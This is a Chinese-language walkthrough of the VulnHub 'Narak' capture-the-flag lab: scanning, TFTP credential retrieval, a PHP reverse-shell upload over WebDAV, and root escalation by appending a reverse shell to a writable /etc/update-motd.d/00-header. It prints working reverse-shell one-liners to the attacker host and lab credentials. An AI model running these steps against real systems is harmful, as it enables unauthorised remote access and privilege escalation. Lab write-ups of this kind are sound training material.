一、渗透目标:
Description
Back to the Top
Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself.
Can you use your hacking skills to get out of the Narak? Burning walls and demons are
around every corner even your trusty tools will betray you on this quest. Trust no one.
Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you
will indeed agree “Hell ain’t a bad place to be”.
Objective: Find 2 flags (user.txt and root.txt)
需要拿到两个 flag值,分别位于 user.txt 和 root.txt中,root.txt需要获取root权限才能读取 -> 需要进行提权。
二、环境准备:
1、攻击机 -> Kali_linux -> ip:192.168.80.129
2、靶机:https://download.vulnhub.com/ha/narak.ova
三、渗透记录:
1、内网信息搜集:
(1) 查看内网存活主机:
nmap -sn 192.168.80.0/24
探测到目标主机内网ip为 192.168.80.130
(2) 探测目标主机存活端口:
nmap --min-rate 10000 192.168.80.130
探测到目标主机 22、80端口开放
(3) 探测两个存活端口的详细信息:
nmap -sT -sV -sC -O -p22, 80 192.168.80.130
未发现可利用敏感信息
(4) TCP扫描探测结束,进行UDP协议探测:
先使用全端口扫描:
nmap -sU --min-rate 10000 192.168.80.130
全端口扫描结果显示没有探测到开放端口。
再使用 top20 端口进行扫描:
nmap -sU --min-rate 10000 --top-ports 20 192.168.80.130
与全端口探测不同,这次探测到有部分端口开放,这就是 nmap可能存在欺骗的点。
(5) 使用 gobuster 进行目录爆破:
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.80.130
共爆破出三个路径:
/images, /webdav, /server-status
其中 /images 目录为图片目录,无敏感信息与文件上传接口:
/webdav目录需要使用账密进行登录
WebDAV(Web Distributed Authoring and Versioning,即“Web分布式创作和版本控制”)是一种基于HTTP
协议的扩展,它允许用户通过网络远程管理和编辑文件。简单来说,WebDAV 让你可以在网上像操作本地文件一
样操作远程服务器上的文件。
(6) 但是 gobuster工具默认对某些特定目录不进行扫描爆破,手动添加未扫描后缀进行爆破:
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://192.168.80.130
探测到 /tips.txt,使用 curl命令访问 /tips.txt
curl http://192.168.80.130/tips.txt
文件内容提示 "地狱之门位于 creds.txt 文件中"
2、tftp渗透:
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务
器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。端口号为69。
(1) 尝试利用 tftp协议,将 creds.txt文件从目标靶机服务器中下载下来并进行读取:
//首先 tftp协议连接靶机:
tftp 192.168.80.130
//将 creds.txt从目标靶机服务器中下载下来
get creds.txt
//下载结束后断开连接
quit
(2) 使用 Kali攻击机进行读取:
cat /creds.txt
进行base64解码后得到一套账密。
(3) 首先猜测为 ssh连接账密,尝试ssh连接:
密码错误,此账密非 ssh连接账密,于是判断其为 wevdav连接账密。
3、webdav渗透:
(1) 登录 webdav后,可以看到webdav中管理的文件,可以采取上传木马的方式,进行反弹shell,以此getshell获取初步权限:
(2) 查看当前用户有哪些文件的上传权限,以此来判断上传什么类型的木马:
davtest -url http://192.168.80.130/webdav -auth yamdoot:Swarg
可以看到有 .php, .html, .txt三种文件类型的上传权限,所以可以采用上传.php木马的方式 getshell
(3) 构造 shell.php:
//首先新建 shell.php文件
vim shell.php
//使用 vim命令写入shell命令并保存:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.80.129/2333 0>&1'");?>
(4) 利用cadaver上传 shell.php:
//连接 webdav
cadaver http://192.168.80.130/webdav -> 账密 yamdoot:Swarg
//上传 shell.php
put shell.php
(5) 利用shell.php 文件 getshell:
在Kali_linux本地起一个监听,监听 2333端口:
nc -lnvp 2333
访问 shell.php 进行反弹shell:
成功 getshell:
5、渗透 getshell:
(1) 筛选并查看可以利用的提权文件:
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
(2) 可以看到存一个 名为/mnt/hell.sh的shell脚本文件,读取其中信息:
cat /mnt/hell.sh
内容包含一段密文,该密文是一段名为 "brainfuck" 的编程语言,利用工具对其进行解密即可:
在 Kali_linux攻击机本地创建一个 hell.bf文件并将密文写入,随后使用工具解密:
//创建 hell.bf
vim hell.bf
//使用 beef工具解密:
beef hell.bf
得到解密后的密文 : chitragupt
(3) 猜测 chitragupt 可能为某用户的密码,于是查看 /etc/passwd 配置文件,配合文件中的用户名进行匹配测试:
cat /etc/passwd
可得系统中存在四个用户,分别是 root, narak, yamdoot, inferno
在 Kali_linux本地攻击机,使用 ssh连接和密码去和每一个用户进行匹配测试:
成功连接 inferno用户,获取用户权限。
(4) 查找并获取flag,经搜索,flag位于 user.txt中:
//查看所有文件
ls -all
//获取flag -> user.txt
cat user.txt
6、渗透提权:
(1) 查看当前用户权限:
sudo -l
当前 inferno用户没有使用 sudo命令的权限,只能采用他法。
(2) 同理使用命令查看可能进行提权的敏感文件:
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
可以看到 interfo用户拥有对 /etc/update-motd.d/ 文件的写权限。
(3) motd渗透:
motd(Message of the Day)是Unix和类Unix系统(如Linux)中的一种机制,用于在用户登录时显示一条消
息。这个消息通常包含系统信息、警告、通知或其他重要信息。
/etc/update-motd.d/是一个目录,包含多个脚本文件,这些脚本在用户登录时会被依次执行,生成动态的
motd 内容。
其中 /etc/update-motd.d/00-header作用即为显示用户登录时的 "欢迎登录" 的信息。
此时 inferno用户拥有对 /etc/update-motd.d/00-header的写权限,可以在 /etc/update-motd.d/00-header中写入shell,用户登录时自动执行shell,以此反弹 root管理员的权限,从而进行 root getshell。
echo "/bin/bash 'bash -i >& /dev/tcp/192.168.80.129/2333 0>&1' >> /etc/update-motd.d/00-header"
起一个监听,监听2333端口,并重新ssh连接 inferno用户,使其触发反弹shell:
成功获取 root权限。进入 root目录,访问 root.txt,即可获取 flag2:
标签:shell,渗透,root,192.168,Vulnhub,80.130,txt,内网,php From: https://www.cnblogs.com/kgty/p/18524606